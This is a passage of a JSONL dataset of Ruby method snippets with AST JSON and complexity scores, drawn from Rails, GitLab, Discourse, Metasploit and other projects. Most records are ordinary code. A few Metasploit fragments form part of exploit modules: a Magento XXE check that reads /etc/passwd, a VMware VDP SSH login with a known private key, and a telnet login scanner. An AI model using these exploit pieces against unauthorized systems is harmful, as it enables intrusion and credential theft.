end","complexity_score":33.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_model_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"method\"]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_class_target\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Tracker\"]},\"UNKNOWN_MODEL\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"downcase\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SINGLE_RECORD\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"local_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"locals\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash_access\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"local_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"hash_insert\",{\"type\":\"lvar\",\"children\":[\"locals\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[null,\"hash_insert\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"local_key\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]},{\"type\":\"send\",\"children\":[null,\"process_partial\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"line\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLLECTION\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collection_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"collection\"]}]}]},{\"type\":\"send\",\"children\":[null,\"hash_insert\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"collection_key\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[null,\"process_partial\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"line\"]}]}]},null]}]}]}]}","id":"9d3856ed-64b9-4931-bf75-e3301fc0e452"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":236,"raw_source":"def test_select_day_nil_with_blank\n expected = +%(<select id=\"date_day\" name=\"date[day]\">\\n)\n expected << %(<option value=\"\" label=\" \"></option>\\n<option value=\"1\">1</option>\\n<option value=\"2\">2</option>\\n<option value=\"3\">3</option>\\n<option value=\"4\">4</option>\\n<option value=\"5\">5</option>\\n<option value=\"6\">6</option>\\n<option value=\"7\">7</option>\\n<option value=\"8\">8</option>\\n<option value=\"9\">9</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n)\n expected << \"</select>\\n\"\n\n assert_dom_equal expected, select_day(nil, include_blank: true)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_day_nil_with_blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_day\\\" name=\\\"date[day]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\" label=\\\" \\\"></option>\\n<option value=\\\"1\\\">1</option>\\n<option value=\\\"2\\\">2</option>\\n<option value=\\\"3\\\">3</option>\\n<option value=\\\"4\\\">4</option>\\n<option value=\\\"5\\\">5</option>\\n<option value=\\\"6\\\">6</option>\\n<option value=\\\"7\\\">7</option>\\n<option value=\\\"8\\\">8</option>\\n<option value=\\\"9\\\">9</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_day\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"2662fc64-a47d-4908-8e4a-240c08b00756"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/telnet/telnet_login.rb","start_line":18,"raw_source":"def initialize\n super(\n 'Name' => 'Telnet Login Check Scanner',\n 'Description' => %q{\n This module will test a telnet login on a range of machines and\n report successful logins. If you have loaded a database plugin\n and connected to a database this module will record successful\n logins and hosts so you can track your access.\n },\n 'Author' => 'egypt',\n 'References' => [\n [ 'CVE', '1999-0502'] # Weak password\n ],\n 'License' => MSF_LICENSE\n )\n\n register_advanced_options(\n [\n OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25])\n ], self.class\n )\n\n @no_pass_prompt = []\n end","complexity_score":5.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Telnet Login Check Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module will test a telnet login on a range of machines and\\n\"]},{\"type\":\"str\",\"children\":[\" report successful logins. If you have loaded a database plugin\\n\"]},{\"type\":\"str\",\"children\":[\" and connected to a database this module will record successful\\n\"]},{\"type\":\"str\",\"children\":[\" logins and hosts so you can track your access.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0502\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Default timeout for telnet connections.\"]},{\"type\":\"int\",\"children\":[25]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@no_pass_prompt\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"ece1b08f-421d-4966-a695-eba3e64e9f49"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/last_push_event_service.rb","start_line":81,"raw_source":"def set_key(key, value)\n # We're using raw values here since this takes up less space and we don't\n # store complex objects.\n Rails.cache.write(key, value, raw: true, expires_in: EXPIRATION)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"const\",\"children\":[null,\"EXPIRATION\"]}]}]}]}]}","id":"54cd05b1-0f40-4940-bafe-f3cc9a461b3d"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/migration/base_dropper.rb","start_line":48,"raw_source":"def self.readonly_trigger_name(table_name, column_name = nil)\n [table_name, column_name, \"readonly\"].compact.join(\"_\")\n end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"readonly_trigger_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"optarg\",\"children\":[\"column_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"str\",\"children\":[\"readonly\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]}","id":"c16ef26d-0f5d-417c-b501-500059ee389d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/transfer_service.rb","start_line":314,"raw_source":"def pending_builds_params\n ::Ci::PendingBuild.namespace_transfer_params(group)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_builds_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PendingBuild\"]},\"namespace_transfer_params\",{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}","id":"63e47b90-3090-44aa-a704-5a478226f9e2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/api/projects_api.rb","start_line":19,"raw_source":"def initialize(api_client = ApiClient.default)\n @api_client = api_client\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"api_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiClient\"]},\"default\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_client\",{\"type\":\"lvar\",\"children\":[\"api_client\"]}]}]}","id":"eaf78b50-85dd-47bc-98b0-a3366d548c36"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/disable_joins_association_relation.rb","start_line":25,"raw_source":"def load\n super\n records = @records\n\n records_by_id = records.group_by do |record|\n record[key]\n end\n\n records = ids.flat_map { |id| records_by_id[id] }\n records.compact!\n\n @records = records\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"ivar\",\"children\":[\"@records\"]}]},{\"type\":\"lvasgn\",\"children\":[\"records_by_id\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ids\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records_by_id\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"compact!\"]},{\"type\":\"ivasgn\",\"children\":[\"@records\",{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]}","id":"0936a5bd-d7b4-41b3-836e-a0fe8c192a95"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/labels_controller.rb","start_line":27,"raw_source":"def fetch_label\n @label = Current.account.labels.find(params[:id])\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@label\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"labels\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"e18e6bac-a168-41d6-bd63-212d089898d6"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/exporter.rb","start_line":129,"raw_source":"def manifest_xml\n Nokogiri::XML::Builder.new do |xml|\n xml.comment created_by_comment\n xml.Version \"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\",\n \"xmlns:xsd\" => \"http://www.w3.org/2001/XMLSchema\",\n \"VersionId\" => \"2.1\" do\n xml.DetailedVersion \"2.1\"\n end\n end.to_xml\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"manifest_xml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"Builder\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"comment\",{\"type\":\"send\",\"children\":[null,\"created_by_comment\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"Version\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:xsi\"]},{\"type\":\"str\",\"children\":[\"http://www.w3.org/2001/XMLSchema-instance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"xmlns:xsd\"]},{\"type\":\"str\",\"children\":[\"http://www.w3.org/2001/XMLSchema\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"VersionId\"]},{\"type\":\"str\",\"children\":[\"2.1\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"DetailedVersion\",{\"type\":\"str\",\"children\":[\"2.1\"]}]}]}]}]},\"to_xml\"]}]}","id":"1bc38fb6-5333-40c3-88f8-52c24ce775cd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb","start_line":98,"raw_source":"def check_magento\n etc_password = download_file('/etc/passwd')\n vprint_status('Attempting to download /etc/passwd')\n if etc_password.nil?\n CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')\n else\n CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')\n end\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_magento\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"etc_password\",{\"type\":\"send\",\"children\":[null,\"download_file\",{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Attempting to download /etc/passwd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"etc_password\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.\"]}]}]}]}]}","id":"31dca20f-ae1e-4087-9fa3-68310290bc2b"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/type/time.rb","start_line":20,"raw_source":"def serialize_cast_value(value) # :nodoc:\n Value.new(super) if value\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_cast_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Value\"]},\"new\",{\"type\":\"zsuper\",\"children\":[]}]},null]}]}","id":"b4bc69f3-8312-47a5-9a66-baab275ed716"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/remove_user_from_channel.rb","start_line":59,"raw_source":"def remove(channel:, target_user:)\n if channel.direct_message_channel?\n channel.leave(target_user)\n else\n channel.remove(target_user)\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel\"]},{\"type\":\"kwarg\",\"children\":[\"target_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"direct_message_channel?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"leave\",{\"type\":\"lvar\",\"children\":[\"target_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"target_user\"]}]}]}]}","id":"4b983a7a-00f2-4a71-99d6-190599e5ca87"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb","start_line":77,"raw_source":"def do_login\n opt_hash = ssh_client_defaults.merge({\n auth_methods: ['publickey'],\n port: rport,\n key_data: [ key_data ]\n })\n opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']\n begin\n ssh_socket = nil\n ::Timeout.timeout(datastore['SSH_TIMEOUT']) do\n ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)\n end\n rescue Rex::ConnectionError\n return\n rescue Net::SSH::Disconnect, ::EOFError\n print_error \"#{rhost}:#{rport} SSH - Disconnected during negotiation\"\n return\n rescue ::Timeout::Error\n print_error \"#{rhost}:#{rport} SSH - Timed out during negotiation\"\n return\n rescue Net::SSH::AuthenticationFailed\n print_error \"#{rhost}:#{rport} SSH - Failed authentication\"\n rescue Net::SSH::Exception => e\n print_error \"#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}\"\n return\n end\n\n if ssh_socket\n\n # Create a new session from the socket, then dump it.\n conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)\n sockets.delete(ssh_socket.transport.socket)\n\n return conn\n else\n return false\n end\n end","complexity_score":49.1,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opt_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_client_defaults\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_methods\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"publickey\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key_data\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_data\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSH_DEBUG\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt_hash\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"sym\",\"children\":[\"debug\"]}]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssh_socket\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSH_TIMEOUT\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"ssh_socket\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"start\",{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"lvar\",\"children\":[\"opt_hash\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"Disconnect\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" SSH - Disconnected during negotiation\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" SSH - Timed out during negotiation\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"AuthenticationFailed\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" SSH - Failed authentication\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" SSH Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" : 